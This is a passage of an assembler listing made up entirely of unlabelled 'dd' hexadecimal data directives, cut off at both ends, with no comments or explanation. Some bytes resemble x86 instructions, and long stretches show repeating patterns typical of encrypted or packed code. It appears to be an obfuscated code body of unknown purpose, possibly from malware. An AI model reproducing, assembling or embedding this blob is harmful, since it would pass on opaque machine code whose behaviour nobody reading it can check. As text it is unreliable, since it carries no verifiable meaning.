6B09BE18h, 0CF9E3AAAh, 0AD4039A0h, 13571085h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 29B422D9h, 133225B5h, 0D595FF06h, 66061322h, 4A60C781h dd 6E8C08Bh, 2B000000h, 7E746F35h, 5FCA8BD6h, 1625BD83h dd 75000613h, 81BD8309h, 6132Ch, 53501374h, 0D0B8C08Bh dd 8D000004h, 15A7B89Dh, 5BD3FF06h, 81BD8358h, 6132Ch dd 53501174h, 4D0B8h, 0B79D8D00h, 0FF0615A6h, 6A585BD3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 2033C350h, 13E9h, 20A91700h, 785DA01h, 0C35367EFh dd 0DEDAA05Ah, 0CCFFDC86h, 30798D8Bh, 0C08B0613h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 97C35646h, 6A2ED2F7h dd 298D8977h, 58061330h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 25C35646h, 0E644128Bh, 0CEBF0FCDh, 2F8DBD01h dd 8C20613h, 92CA8100h, 8B1D00FAh, 3D8D8BC0h, 8A06130Eh dd 5E858DC8h, 8B0616A4h, 131D318Dh, 0DB58906h, 8906130Ah dd 131B0585h, 2DE906h, 0D09C0000h, 1D10h, 9 dup(0) dd 0E9000000h, 51Eh, 0BF1F3783h, 0A5054999h, 0B9193183h dd 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh, 0F0436545h dd 5587A58h, 755A6747h, 0B46B8600h, 68DA4F16h, 51E06CBDh dd 5674E06Dh, 4C6BE174h, 0B4A0FA6Bh, 2469109Dh, 0B8094D9Ch dd 81D084D1h, 0EED06100h, 0F063F25Ch, 8590982h, 1582FF7Eh dd 1C7D6261h, 64E9BBFh, 0D00ED637h, 0D3F355EAh, 5FEE5AEDh dd 36A7ED7Bh, 109E5EDCh, 300160A5h, 0CB1B3F1Ch, 8953B283h dd 0FADD8AFFh, 9E5F0F8Bh, 2BB5D810h, 14B29629h, 8DBD0F33h dd 8CC01143h, 0CFEF082Fh, 0A53F7711h, 785F1883h, 90582572h dd 6021A0D1h, 0CB5D109Eh, 0B4E9EE7Fh, 7DF954AEh, 0E864F5D9h dd 0A217B159h, 4DBE4CB3h, 4135511Fh, 0E11433A3h, 109E8865h dd 0BEE5EF2Eh, 6Ah, 0E06CBDA4h, 0B4A42051h, 0C619109Dh dd 0EC7D1CE1h, 0B7014DD1h, 0C090BC4Dh, 68A34179h, 1, 0E16DBDCEh dd 0EDBAE5C2h, 144A1B65h, 0BC910D7Ch, 3B5A109Dh, 0BE1032B1h dd 2E7DC190h, 52C01322h, 7F290EB9h, 0AB6A9D24h, 0A3A465B2h dd 6908AAC6h, 925AF645h, 4260EE40h, 0B7134265h, 80109E56h dd 2243055Ah, 2725B89Ah, 70BD2987h, 522ABE1Eh, 0DEBF0E1Bh dd 53FB4B8Fh, 0FD8EFC02h, 7E5CF845h, 930F7E61h, 5C109E03h dd 0C9DAF39h, 7BCDF140h, 1B777ECFh, 0A7AE7E9Eh, 6F50A341h dd 9DF9A4FEh, 0F8DCD510h, 15EAB534h, 0A6FDC746h, 67h, 6BE71639h dd 34109DEBh, 0C24D07D1h, 0EA3D4EE0h, 0EF8E0F5Eh, 0A3B53F5Eh dd 2B2F3E16h, 2FA0B199h, 4D9C46C3h, 0C5DF344h, 0ECCEEC8Dh dd 6466F75Dh, 5EC7DD3h, 1CCCF089h, 0C4A341E8h, 51h, 0E470BD9Ah dd 6ADE7155h, 0E868F7DBh, 0A3E27559h, 9583911h, 462FCCC6h dd 2BDC6D65h, 0C697B707h, 0E5B7D47h, 0C2CA6846h, 31004EE0h dd 74C608D0h, 88D5FDDAh, 146504CCh, 109DB4B5h, 527A42Eh dd 0A341EA37h, 89Fh, 0CA1A4000h, 9058B988h, 0DF6BBDC6h dd 53F94C8Eh, 51FB4E74h, 61F6D887h, 0DCBD9324h, 56FA498Dh dd 0AD1E5407h, 103724B8h, 0E715B603h, 0AFD9E369h, 76D4681Ah dd 75115858h, 64362756h, 0A6E7168Fh, 2A22B397h, 598CAB8Ch dd 0A8B61FDh, 5B7D47C6h, 82F3420Ah, 0A8B6206h, 0CB6533Fh dd 0D3393B9h, 0C3390BCh, 0C8DCEA34h, 1FCE166Fh, 93A2AA3Bh dd 3BEC5DEBh, 0A66DE91Ch, 0D7360A8Bh, 0F7ACB0Dh, 0D2F190C0h dd 0A60680F5h, 0AB3A0A8Bh, 0EA7998A9h, 973321ABh, 5AAC1BD9h dd 12481h, 0BEA3D500h, 377AEBC8h, 0D0168EBCh, 87DAFC4Dh dd 72C3E5C5h, 0F6478BDAh, 91FF0756h, 0DC6B4FF8h, 0D76A6C74h dd 3FFD5575h, 0E15AAD1Bh, 0F74811F6h, 0FD900F1h, 4788h dd 0BCA3AE00h, 0FA74E9C6h, 36F624Bh, 0B394B382h, 429BDA8Ch dd 3829DAA5h, 909DE6DEh, 2F5E66A7h, 909DE6B3h, 6BFA5AE7h dd 0E879D967h, 0D47EFB77h, 0D5ABCA80h, 0D5A1E9Bh, 8B275675h dd 94EF627Dh, 0A6765171h, 0DC000000h, 0EBC8BEA3h, 8EA18F7Ah dd 44157816h, 59B52807h, 220A8AA1h, 0ACBD8B20h, 92C40C6Dh dd 8BAD0D3Fh, 0B243123Ah, 0A8AA151h, 0D2654D92h, 1EA6E776h dd 1AAB57F4h, 41AA9532h, 2B82CF72h, 64E67A5Ch, 2E2CB4D5h dd 308FF7F2h, 3294B60Ah, 60A1B0A2h, 200A7B58h, 391077E8h dd 0E26BE716h, 0D1340473h, 2A3B5A07h, 7FDB0A2Dh, 480473E2h dd 88D9FBC5h, 0CD9CB001h, 0A4FE6F4Ch, 6D0473E1h, 0D6F84928h dd 9BB50683h, 1B2A4BCAh, 98A9A937h, 46025579h, 4DBED4F7h dd 710A8458h, 0E7C4C2A7h, 6130AC76h, 9230550Ah, 0C8BEA338h dd 3B07AEBh, 3459168Bh, 2921B397h, 0ABFE409Fh, 0FE2401A1h dd 0AC1DDAAAh, 53DD83EBh, 15A8AA32h, 1ED72637h, 9B05851Dh dd 9D30E257h, 0C2E0FAFh, 43C293B9h, 46065779h, 5AEE4169h dd 0D878C70Bh, 5F690889h, 0E36DBE00h, 14BDEC4h, 5807D130h dd 0DA6BE576h, 962869F8h, 4788D9B8h, 0F1C7AE4Bh, 755D0A7Fh dd 6D5F69E5h, 705270DCh, 3DE6FDDh, 17h, 108AFBDCh, 0D9EF808Bh dd 7BB22CB4h, 920C815Eh, 5B109DB4h, 0BD28B23Ah, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 72BC68h, 241C8900h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 56241489h, 0C681E689h dd 4, 4EE81h, 34870000h, 3C895C24h, 0AA685624h, 5E15E970h dd 0E681D6F7h, 0BCC754Bh, 0B285C681h, 8953FC12h, 5BDA89F3h dd 3C8B545Eh, 4C48124h, 51000000h, 8B9h, 89F90100h, 240C8B11h dd 4C481h, 34FF0000h, 0C4835F24h, 24148B04h, 81E78957h dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFCC488h, 41A77598h dd 81F0E038h, 4EB87554h, 30616BCh, 26E0FFC5h, 1F4261F6h dd 3C0C45F4h, 3E690Ah, 6E4A256Dh, 4061AF57h, 88408683h dd 56338271h, 0C1013987h, 0EA02FFBAh, 0F061236h, 0F648C2B8h dd 821FBF0h, 0ED3C1D53h, 956ED3BCh, 0D62BC075h, 0DB557F0Eh dd 74162C20h, 0E909759Eh, 75h, 0D88C6660h, 840F04A8h, 35h dd 0B5FF016Ah, 613116Dh, 7C33858Dh, 0D0FF0616h, 28158589h dd 0FE8B0613h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h dd 95FF0001h, 6132815h, 32E9h, 0E185C600h, 56061311h, 0C530DF68h dd 0E9B5FFA9h, 8D06131Eh, 167C3385h, 89D0FF06h, 13122D85h dd 0FD858D06h, 50061329h, 56A206Ah, 2D95FF56h, 61061312h dd 6E0C1C3h, 1DE9h, 0F78FCF00h, 6Fh, 5 dup(0) dd 14E90000h, 96000006h, 8AB00E48h, 92B81638h, 8CAE0C3Eh dd 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch dd 5CF04167h, 0FB6A757Eh, 16B4719Fh, 0AD8A3168h, 0B471DE38h dd 6CE61716h, 3516B472h, 9D0283D0h, 951EEDF6h, 2DA731C8h dd 901D6CBDh, 52E2C4h, 5FEED061h, 62F3D5F5h, 0E6775BEAh dd 63F3D766h, 89095AEBh, 5DEF42F0h, 41075C7Eh, 94791F0h dd 16B49427h, 98A99F34h, 1D2C26B6h, 4FE2A939h, 4C2D6CFDh dd 0C589D9FDh, 0CA3F5374h, 0EE8B05DBh, 4496EF44h, 654B6B0Ah dd 7C5B78D4h, 9DB48D09h, 0AD375610h, 0B54ECF3Eh, 398A109Dh dd 0B3044617h, 4CC6CC9Dh, 0B121C6AFh, 0EA24F418h, 768CA341h dd 0B2000000h, 51E06CBDh, 9DB4A420h, 0E1C61910h, 41B4CD5Ch dd 109E77C5h, 0B0A80F8Eh, 44CE1642h, 34D7A5C7h, 17FA341h dd 0E3000000h, 1670E5C2h, 0DF109DB5h, 922436BEh, 19A9ADBCh dd 91222435h, 0CE3F20BFh, 109DB554h, 71F0F81Dh, 7017B4DEh dd 4493F84Ah, 0BDDC6D0Ch, 0FF912133h, 9DB5148Eh, 82C64510h dd 0F15DD53Eh, 51842362h, 109E63F5h, 0A03E5FBEh, 852527BAh dd 0E470BD2Bh, 0D268E0C7h, 9F3C3798h, 22B49655h, 0DB751D2Ch dd 2F25B45Eh, 7118A98Fh, 3476CE0h, 4BDA0579h, 183A99F8h dd 95BA8BC9h, 0CEFA9622h, 4261005Eh, 9E76B713h, 0D31D8010h dd 0AC9E3214h, 0C13AD49Dh, 412ACD9Bh, 0BF75A3h, 0C2C90000h dd 633B4FE0h, 5D36AD56h, 0D9FBC5A4h, 5A79C88Ch, 17A8E978h dd 88095839h, 90BA0E40h, 1E2A7DC1h, 0D0BB0B4Fh, 180D17Fh dd 6AEAD160h, 0AA109676h, 0FACE6BAh, 6CDD1526h, 0A4A97BBh dd 134190C2h, 143E8EB4h, 0DEFCC445h, 1296DFCh, 4CCD9CB0h dd 9E27C11Dh, 6A0B8A10h, 9FFB6A4Dh, 0D3109E27h, 1C81CE86h dd 0A23115D4h, 67F65EEBh, 42684726h, 0B0D160F2h, 56B0B928h dd 9BE9B7E5h, 0A78BA341h, 0E4253414h, 51E072C2h, 4C71A830h dd 0C5000000h, 0C7E470BDh, 0B51975E8h, 0A3E2109Dh, 4585BBFCh dd 29B3D017h, 54398BAh, 8CBE1234h, 54999BDh, 0DA6FA334h dd 31CAC8EBh, 82203481h, 0E16DBD28h, 0FC4F7350h, 549CFD4Ch dd 9DB554B5h, 0CC3DCD10h, 41EAD0A0h, 178A3h, 0BDDE0000h dd 4C8EDF6Bh, 0CE0253F9h, 0D478C9F1h, 5909820Ch, 23634307h dd 4C6B483Eh, 0B4A0FA6Bh, 6169109Dh, 0AEEF7ED2h, 978605CFh dd 48168EB1h, 0ADE0B002h, 0A8AAF31h, 6BFA9BFAh, 4B6C4B2Ah dd 8AAEC01Ah, 0BC04890Ah, 0E8092E2Dh, 0A0C92887h, 3485C711h dd 0F7460255h, 0F1D7F796h, 2C5DEC60h, 0A8AA4B0h, 0D41136E9h dd 0C91D44B5h, 60D933BDh, 8D2D1FB2h, 16388AB0h, 50398CCEh dd 23325301h, 6EFB8E1Fh, 573657E6h, 0F9920006h, 7654F849h dd 0A9556E59h, 0BA4BBABh, 1AFC02A4h, 0C71159BDh, 0ADDD410Fh dd 185E95Ah, 0A34D0000h, 0F87802BEh, 0D34FF394h, 7DE015B2h dd 16168F49h, 0B1126331h, 17824392h, 5396F5AAh, 0BD6E5534h dd 89A15313h, 9C832041h, 41E88720h, 5F1BC3BAh, 431487F5h dd 74B9A22h, 0A0B6D0B6h, 628DC66h, 7C5F4867h, 0CE1E9016h dd 0C2E2CB4h, 80C293B9h, 484E1F2Dh, 308131CAh, 88998456h dd 0E36403A4h, 90BCE3F8h, 910D807Bh, 5A0A8B95h, 9B3B5A3Bh dd 0EE689DBAh, 0B70A8B95h, 5AE3AA90h, 36572883h, 526636AEh dd 59CE5AACh, 74000000h, 0D508BCA3h, 109DB579h, 0A0AE0042h dd 70117091h, 4B882253h, 0C916F62h, 0B552CC3Dh, 3386909Dh dd 0B6064819h, 90248CD6h, 0CDAC5B36h, 0B42E5F7Ch, 7D909E76h dd 0B14AC418h, 4DBEB0C4h, 0C11E647Bh, 630DB24Ch, 0B5072BEFh dd 81D082D2h, 0A576100h, 0A00C2B8Bh, 0B2000000h, 0A158DDC2h dd 0A87532C0h, 0B9CD1420h, 8DDEEB1Ah, 83C7168Fh, 26B51931h dd 0DDFA4B2Ah, 0C7EB67F5h, 786D777h, 3F4A9BBDh, 3F0F9FF2h dd 0B99F3F5Eh, 0E4152428h, 0A8B8D63h, 2C3D15A3h, 3FF0982Ah dd 8C5FD1A2h, 3B431273h, 66493CCDh, 9223CF6Ch, 1C3B1CBAh dd 0BBAAA436h, 0A8B355Fh, 69DA1F28h, 820D482Eh, 84DDD9E3h dd 3F5EEE3Fh, 0D9A26DA0h, 0C3071078h, 1AB9D870h, 20A8A638h dd 202C7DC1h, 38D13B11h, 0AE0D7970h, 621B943Fh, 3794F90Ah dd 0B0495B10h, 0E2233220h, 8C923EBDh, 0A3BC1644h, 96B205BEh dd 60F2D8F7h, 0D805FEEh, 109DB491h, 925A3B5Ah, 9671045h dd 49CC168Bh, 64F7DBF8h, 67FADCE4h, 52E3C5E5h, 0AFB55534h dd 7110B0B6h, 5BB891E0h, 4A757366h, 0E978D668h, 55E620A8h dd 62400C9Dh, 805FED40h, 0C5B42E5Fh, 5A7DA0A5h, 0A5C5AF2Bh dd 741578A0h, 8AD9FD6Ch, 0CF9EB603h, 72D86C4Eh, 0E4C3A2E3h dd 8EDF69BEh, 3226C50Fh, 0B69C4BC0h, 0F9182923h, 4CDDEFh dd 22327FA3h, 81D0F213h, 0B90382D3h, 6524B59Bh, 0A9E879D5h dd 205C79C8h, 2000000h, 6CBDE5C2h, 413051E0h, 109DB4C5h dd 19AB0F8Eh, 0D7E12031h, 594166B3h, 9005A7FEh, 0BD5903CDh dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E68956h dd 4C6h, 4EE8300h, 31243433h, 34332434h, 89565C24h, 4C681E6h dd 81000000h, 4EEh, 24348700h, 240C895Ch, 4EDC68h, 243C8900h dd 8904EC83h, 0BBBA2414h, 817C8157h, 0FF2BBACAh, 0ECCA815Ch dd 81598A7Fh, 0E9C226F2h, 5AD1897Bh, 39A68h, 24248900h dd 4240481h, 5F000000h, 8BA52h, 0FA010000h, 89CB8953h dd 8B5A5B1Ah, 8953243Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 2434FF5Ch, 4C48159h, 0E9000000h, 0FFFCBD84h, 0FE86E03Eh dd 0D3B304C6h, 258EBADCh, 0B8B8295Eh, 616C346h, 0E0FFC503h dd 6266A836h, 24B7B1AAh, 3EA7B047h, 3078FD53h, 1D2B7123h dd 68579A58h, 42F7B0F1h, 69190B67h, 3ED2FBF5h, 28DA45BDh dd 3AD6BEEEh, 494C8AC9h, 0B5919EDh, 43A96C8Ch, 49DFD28Fh dd 6D502FA9h, 7A3E1C88h, 4BE6A879h, 281E3531h, 4CC9B09Ch dd 39EBh, 2CC00AEh, 2E400AEh, 0AEh, 43EB0000h, 4F885139h dd 478E6020h, 43843431h, 494593Ah, 2A905830h, 663A601Ah dd 5E713418h, 44FA441Bh, 4FBD5C00h, 4AE75035h, 35F2A1DFh dd 0EA723247h, 0C2AB343Eh, 2A7E3457h, 75FC6B74h, 2EBB48DDh dd 2EEB70D5h, 2AE73442h, 42306313h, 2610CF32h, 97FC3454h dd 41EED44Ch, 79C352F7h, 0A99F0BD2h, 39D911E9h, 23923452h dd 67289D7h, 5EF93247h, 0A1AF644Dh, 2EC78C94h, 0AFB63454h dd 2C8C3929h, 83B2A9D9h, 0F9183241h, 97706C0Fh, 2CEA18D5h dd 7AEB4054h, 2EC78C07h, 0AFB63454h, 2C8C3929h, 8CA3A9D9h dd 0F9183241h, 2A996C0Fh, 2AFADC06h, 70DC3454h, 7EF76E97h dd 6EBE3070h, 2A883070h, 788D3454h, 75261197h, 0FF46BD4Dh dd 4CFF2744h, 0EA77E7DFh, 2A7E3ABDh, 70AE7C54h, 0B682BD12h dd 0C29648E1h, 0A16F3138h, 39EC61D9h, 0CB7CF252h, 7CFA2745h dd 0C22C343Eh, 2A3F3457h, 705C6E74h, 2EEB60DDh, 2EC370D5h dd 2AF3344Fh, 2C3A6616h, 0BA3E4FA3h, 2B362949h, 391E75C9h dd 75EB5C52h, 749D5251h, 0F4C330D5h, 40C5970Ch, 29116554h dd 0AFC3454h, 0A327F70Dh, 0AB3B1018h, 379B1010h, 6BCF3454h dd 0AACF705h, 0C63F37C7h, 5999AE8Fh, 3985A165h, 9F813247h dd 2C2C2ABDh, 0BF16CCDFh, 2CDC15B9h, 56D4B1D9h, 0E3723242h dd 704BC4F5h, 2A96E4ABh, 2A7DDC05h dd 731F3454h, 66166D97h, 6E4E3070h, 2AFD3070h, 7BB23454h dd 20A62897h, 0A792C3F7h, 1B4789DDh, 2E553247h, 0C2C8343Eh dd 2ACF3457h, 75246B74h, 2ED748DDh, 2EDD70D5h, 2AFC3448h dd 0ABD6313h, 97128684h, 0A5FD7142h, 2AC9B95Bh, 97EC3454h dd 2CE00609h, 2AF93EBDh, 61DB1254h, 71482278h, 421F63F3h dd 62156BA5h, 0DBEB00D5h, 94AFBE1Bh, 0C2E6B60h, 7F3E2F3Ch dd 2AFADC97h, 0B1DE3454h, 147DEB92h, 0E9BB50Ah, 16650F85h dd 0C2B0343Eh, 2AF33457h, 753A6B74h, 2ED848DDh, 2E5A70D5h dd 2A3F344Ch, 0C15C6313h, 0BBE36843h, 2AE731BDh, 8AB3A254h dd 2A9301D4h, 2F1189DFh, 0FA813247h, 2B4AA9DDh, 0AF163247h dd 2CD9F01Ch, 21B2B9DDh, 0D2783247h, 2AFBF851h, 6679BD54h dd 0A9782290h, 0AFB62C94h, 2C89F004h, 0C676F467h, 0D9E73456h dd 7BF35EFEh, 2AF937BCh, 0E9A51454h, 0E32BD0Dh, 0E7BB550h dd 2A9F2150h, 0E99E7554h, 0BF6C400Eh, 2CE031FDh, 0D678ACEAh dd 7AFC5E50h, 2A7E37BCh, 0E9671454h, 0EDBBD0Ch, 0E8BB550h dd 2AE72150h, 0E9A37454h, 0A7728DF6h, 2CEF3DB1h, 3B9FB192h dd 257C3247h, 2A9F32D1h, 0B42BF54h, 0C2E12742h, 2AF33450h dd 0B69E5F0Ah, 2AFC3ABDh, 612D1B54h, 3B12AABCh, 1595074Fh dd 7A8FB530h, 6E6CFBDFh, 70A43070h, 7A9934DFh, 0E4775206h dd 712C055Bh, 0A1596C0Eh, 6E1655ADh, 789F3070h, 2AE725BCh dd 73DF5054h, 4B7D0EECh, 0EEE1F527h, 61D77481h, 38D6030Ah dd 219F3454h, 0E1107111h, 7BB3F981h, 498BADF1h, 0BD4DCA50h dd 1BF36A38h, 0A1186604h, 7B0E3BAFh, 70C76E0Dh, 2AA56C0Ch dd 2AE4DC07h, 71D33454h, 76706F97h, 6E7D3070h, 2A643070h dd 797C3454h, 0FF34CF97h, 45136279h, 0E289DDh, 9F0C3247h dd 2CEA2ABDh, 0C2AB343Eh, 2A7E3457h, 75FC6B74h, 2EBB48DDh dd 2EEB70D5h, 2AE73441h, 5D306313h, 0E7C08B4Fh, 0AF717BDCh dd 2C684867h, 0C269343Eh, 2A9F3457h, 740C6A74h, 2EC340DDh dd 2ED770D5h, 2AF93441h, 8F3F6212h, 0ECFF524Bh, 0FAC0E637h dd 0C2CE343Eh, 2ACF3457h, 73246D74h, 2ED778DDh, 2EDD70D5h dd 2AFC3448h, 3EBD6515h, 98655197h, 98999EEBh, 692B1DDh dd 2A8D3247h, 2AF0DC05h, 73D93454h, 66756D97h, 6EFF3070h dd 2A243070h, 7BDE3454h, 54C19797h, 0C3BE9B9Ch, 0A7EC864Fh dd 39F54DD1h, 7BFC5E52h, 2A7E37BCh, 0E9661454h, 0ED3BD0Dh dd 0E8BB550h, 2AE72250h, 0E9A27554h, 0A3285800h, 39E1A9E1h dd 0DBFBBD52h, 93392753h, 4C68867h, 2AC9B15Bh, 0BFD63454h dd 2CE026F9h, 3B18B192h, 40AF3247h, 29966254h, 0A3F3454h dd 0A3C1F70Ah, 0ABCB1020h, 33E31010h, 6CF33454h, 0ED78F702h dd 57B421AAh, 0A971C134h, 2A3F3457h, 4B11F2D4h, 2ACF3EBCh dd 28E14E54h, 1A839F6Ch, 93671FF0h, 18CAFE35h, 0BFF33F0Dh dd 42392742h, 0F4B10919h, 2ACCBF5Bh, 0A1813454h, 0EF7B59Eh dd 347A3FDFh, 0C2AF343Eh, 2A7E3457h, 71FC6F74h, 2EBB68DDh dd 2EEB70D5h, 2AE7344Dh, 0B1306717h, 0B2B03605h, 0C349CBAAh dd 4078274Ah, 29D76354h, 0A9F3454h, 0A390F70Bh, 0ABE31028h dd 32F71010h, 6DF93454h, 4D7CF703h, 0A30A60CEh, 392CE1E9h dd 0DD1E5252h, 0AF422285h, 2CF14867h, 2502A1DDh, 0FA063247h dd 1BF5A1DDh, 0A3823247h, 39329DD1h, 7F9F5E52h, 2ACF37BCh dd 0E9BA1454h, 0E9FBD09h, 0EBDB550h, 2AFC2250h, 0E92B7154h dd 3F840D2h, 398E51D1h, 2C463B52h, 0A3E73454h, 39FEF1E1h dd 0CB7CF252h, 79FA2745h, 0C22E343Eh, 2A3F3457h, 725C6C74h dd 2EEB70DDh, 2EC370D5h, 2AF33449h, 913A6414h, 64625F29h dd 4FE0047Eh, 5BB2BDE3h, 399277Ch, 39CAB5D9h, 8D55C52h dd 1E72D1C3h, 0A51FB570h, 0D1775269h, 349781ABh, 0AFB23247h dd 2C894867h, 0C29E343Eh, 2AE73457h, 73306D74h, 2EDD78DDh dd 2ED870D5h, 2A7E3442h, 60FC6515h, 0FA6008C6h, 2F328955h dd 0AF6E3247h, 2CE03D3Dh, 0AA2A8D32h, 3B1DB192h, 4C393247h dd 0BFB4E3DFh, 2C8C3A11h, 2ACF30BCh, 0F43A9D54h, 21A88BE3h dd 9FA967B3h, 0EB8BF2Dh, 2A71DC50h, 68243454h, 6101EAF6h dd 0ECD90801h, 7FD3C1B8h, 0A195547Bh, 4B11BE8Eh, 0A3FCBF0Eh dd 0A17A1010h, 2A556CA3h, 2A9CDC07h, 71EF3454h, 766E6F97h dd 6E723070h, 2AED3070h, 79BF3454h, 9F81B097h, 2C2C2ABDh dd 56ACB1D9h, 2AA53242h, 2AE4DC04h, 72D33454h, 6E706C97h dd 6E7D3070h, 2A673070h, 7A7F3454h, 52A45997h, 0D5467EF1h dd 78E75E84h, 2AF337BCh, 0E9A31454h, 0EA8BD0Eh, 0E3AB550h dd 2A3F2F50h, 0E9CD7654h, 541E2928h, 0D64B2C7Dh, 2AE5B65Bh dd 3B103454h, 0A9FC3454h, 3F0B62C0h, 2040B5C9h, 660A7797h dd 482D1578h, 2AEAB1DDh, 2A993247h, 2AFADC02h, 74DC3454h dd 5EF76A97h, 6EBE3070h, 2A873070h, 7C893454h, 6ACF4397h dd 0AF351656h, 2CEA25B5h, 2AF8DC13h, 3A043454h, 2DD7B588h dd 339F3454h, 0C643E8B9h, 0DA6D86CFh, 251B640Dh, 33F93454h dd 0F5050BA1h, 0FE39918Bh, 0ED78EA29h, 0A1F92EC0h, 6E446AAEh dd 78B73070h, 2500BF32h, 43405265h, 0A1A46E52h, 31F83B54h dd 0C23F3454h, 2A9F3446h, 507EE834h, 9442907Eh, 0EC4F5058h dd 0B422C4EEh, 0A19A546Ah, 6EF76E9Fh, 0AD303070h, 2A9F3454h dd 78CF5E0Ch, 2AE737BCh, 0E9A91454h, 0EADBD0Eh, 0EB8B550h dd 2A7E2D50h, 0E96D7654h, 145D25F6h, 9F30D4E8h, 2CF42ABDh dd 0A724835Bh, 3C8507D1h, 7DFC5E52h, 2A7E37BCh, 0E9601454h dd 0EE3BD0Bh, 0E8BB550h, 2AE72050h, 0E9A47354h, 7744BF9Dh dd 0D5FA2776h, 787E5E84h, 2A3F37BCh, 0E9C51454h, 0E9BBD0Eh dd 0EA3B550h, 2AF32250h, 0E9AB7654h, 0C28D1B73h, 2A7E3451h dd 90E261A6h, 29183B71h, 25CF3454h, 0A3B8C7EBh, 39EA11D1h dd 27106452h, 0E1FC3454h, 2DBAA328h, 61BC55A0h, 100398ECh dd 0CB4AF20Ah, 6DE12745h, 2AF7DCACh, 16A43454h, 7AAC9E99h dd 7A4F3B06h, 2AB03B06h, 259F3454h, 0E3F98A65h, 72BD091Dh dd 6E786C0Eh, 2D113070h, 98FC3454h, 0E6C65F13h, 0A1603BC7h dd 25CD6454h, 2ACF22DCh, 2AF6DD54h, 17303454h, 0A0369CDEh dd 4DA47D96h, 0ED80DD36h, 259ECCC1h, 575A8E65h, 72951C5Bh dd 2EC370DDh, 1BFC6604h, 25A16C0Eh, 2AFC37DBh, 0FDC13B54h dd 34D681ABh, 2AF53247h, 2ACCDC03h, 75C73454h, 567A6B97h dd 6E783070h, 2AE83070h, 7D393454h, 0A73C2497h, 2C8C1C09h dd 0E1DE8B32h, 56D4B1D9h, 0E1793242h, 2A93E4ABh, 2AFFDC06h dd 705E3454h, 7EB66E97h, 6E1E3070h, 2AD43070h, 78A53454h dd 30EFF997h, 9E9F1F18h, 0A332BFCBh, 396FF5D1h, 2AB83B52h dd 0D59F3454h, 7ACF5E84h, 2AE737BCh, 0E9AB1454h, 0EBDBD0Ch dd 0EB8B550h, 2A7E2150h, 0E96F7454h, 0A7148F30h, 2CDC2901h dd 0B2B1DDh, 2A993247h, 2AFADC05h, 73DC3454h, 66F76D97h dd 6EBE3070h, 2A8A3070h, 7B8E3454h, 0D694B997h, 0C22BB832h dd 2AF9345Dh, 0FBE3856Fh, 418305DCh, 278ABF4Ah, 74992747h dd 2AA53070h, 2AE4DC01h, 77D33454h, 46706997h, 6E7D3070h dd 2A6B3070h, 7F7A3454h, 0AB8C3B97h, 6ACA958Eh, 25273E48h dd 2AF091D0h, 79F95E54h, 2AFC37BCh, 0E9251454h, 0E63BD0Fh dd 0EDBB550h, 2ACF2050h, 0E9B47754h, 0AF35CCDEh, 2CEA25B5h dd 5341BF1Bh, 0C278274Bh dd 2A3F3450h, 951F5890h, 0FA445204h, 2EC370DFh, 2AE1DD07h dd 18243454h, 69C0E41Eh, 4DCDEC08h, 86FB9A83h, 0B6F7B6DCh dd 25CFBF0Ah, 2AE731DCh, 0D77C8E54h, 6E703934h, 949A3070h dd 4026E04Bh, 29D76754h, 0A9F3454h, 0A394F70Fh, 0ABE31008h dd 3CF71010h, 69F93454h, 0F1F1F707h, 2A72DD91h, 4DC63454h dd 4486F1D9h, 7F939AABh, 258732B3h, 2AF332DEh, 6B6CBD54h dd 25FA275Fh, 0D51FCBEBh, 3921DDE1h, 7F9F5E52h, 2ACF37BCh dd 0E9BA1454h, 0E9FBD09h, 0EBDB550h, 2AFC2C50h, 0E92B7154h dd 2B460C74h, 191AB9A5h, 4AC92228h, 3002A9DDh, 0B7F03247h dd 2CEA05D9h, 0D22CCB35h, 5F389DFh, 0EABC3247h, 347F8E70h dd 0AF46156Dh, 2CF43E69h, 1B56B9DDh, 0AF723247h, 2CEF1E01h dd 0C229343Eh, 2A3F3457h, 755C6B74h, 2EEB48DDh, 2EC370D5h dd 2AF3344Dh, 133A6313h, 907EC603h, 0EBE3BF20h, 40392745h dd 29776454h, 0ACF3454h, 0A3BFF70Ch, 0ABF71010h, 3CFD1010h dd 6AFC3454h, 0AC94F704h, 2A32DD74h, 45FE3454h, 6BB5B4h dd 0B6CC867Ah, 6951DFDFh, 0C2AC343Eh, 2AFC3457h, 77BD6974h dd 2E1B58DDh, 2EBB70D5h, 2ACF344Ch, 0A246111h, 54991B0Eh dd 2D4B95Fh, 0A09C3247h, 0DDC13B9Ch, 0A124BF35h, 398DB1C1h dd 40D4BF52h, 290F6754h, 0AF33454h, 0A3A2F70Fh, 0ABF81008h dd 3F7A1010h, 693F3454h, 1897F707h, 2AA52FDFh, 2AE4DC02h dd 74D33454h, 5E706A97h, 6E7D3070h, 2A653070h, 7C793454h dd 814E7497h, 406D622Fh, 0CF7207C7h, 0A3F52778h, 39EFB5E9h dd 40240752h, 29966654h, 0A3F3454h, 0A3C5F70Eh, 0ABCB1000h dd 37E31010h, 68F33454h, 0DD32F706h, 0B7474572h, 0DEB7083h dd 0DC865202h, 0B7166E19h, 2CDC31EDh, 0C2B6343Eh, 2AF33457h dd 733A6D74h, 2ED878DDh, 2E5A70D5h, 2A3F3440h, 0CF5C6515h dd 2B20E1D4h, 39EDFDE1h, 0CB76F252h, 6DFF2745h, 0AC1EB532h dd 0A97154ADh, 2A3F3452h, 3E12A1DFh, 0A7C03247h, 2AE73455h dd 19B55ACh, 0AB648938h, 9B7E1060h, 0D58B1E37h, 3921DDE1h dd 7F9F5E52h, 2ACF37BCh, 0E9BA1454h, 0E9FBD09h, 0EBDB550h dd 2AFC2D50h, 0E92B7154h, 0DA9DE012h, 0A1CFFF87h, 